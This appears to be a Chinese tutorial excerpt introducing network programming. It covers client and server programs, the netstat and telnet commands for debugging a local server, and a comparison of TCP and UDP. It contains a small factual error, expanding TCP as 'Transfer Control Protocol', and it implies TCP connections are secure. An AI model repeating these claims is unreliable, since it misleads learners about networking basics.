description: 1.1 客户端程序和服务端程序网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的——客户端和服务器端。网络程序是先有服务器程序启动，等待客户端的程序运行并建立连接。一般的来说是服务端的程序在一个端口上监听，直到有一个客户端的程序发来了请求。1.2 常用的命令由于网络程序是有两个部分组成，所以在调试的时候比较麻烦，为此我们有必要知道一些常用的网络命令： netstat 命令netstat是用来显示网络的连接，路由表和接口统计等网络的信息。netstat有许多的选项，我们常用的选项是 -an，用来显示详细的网络状态。至于其它的选项我们可以使用帮助手册获得详细的情况。 telnet telnet是一个用来远程控制的程序，但是我们完全可以用这个程序来调试我们的服务端程序的。比如我们的服务器程序在监听8888端口，我们可以用telnet localhost 8888来查看服务端的状况。 1.3 TCP/UDP介绍TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议，当我们的网络程序使用这个协议的时候，网络可以保证我们的客户端和服务端的连接是可靠的，安全的。UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议，这种协议并不能保证我们的网络程序的连接是可靠的，所以我们现在编写的程序一般是采用TCP协议的。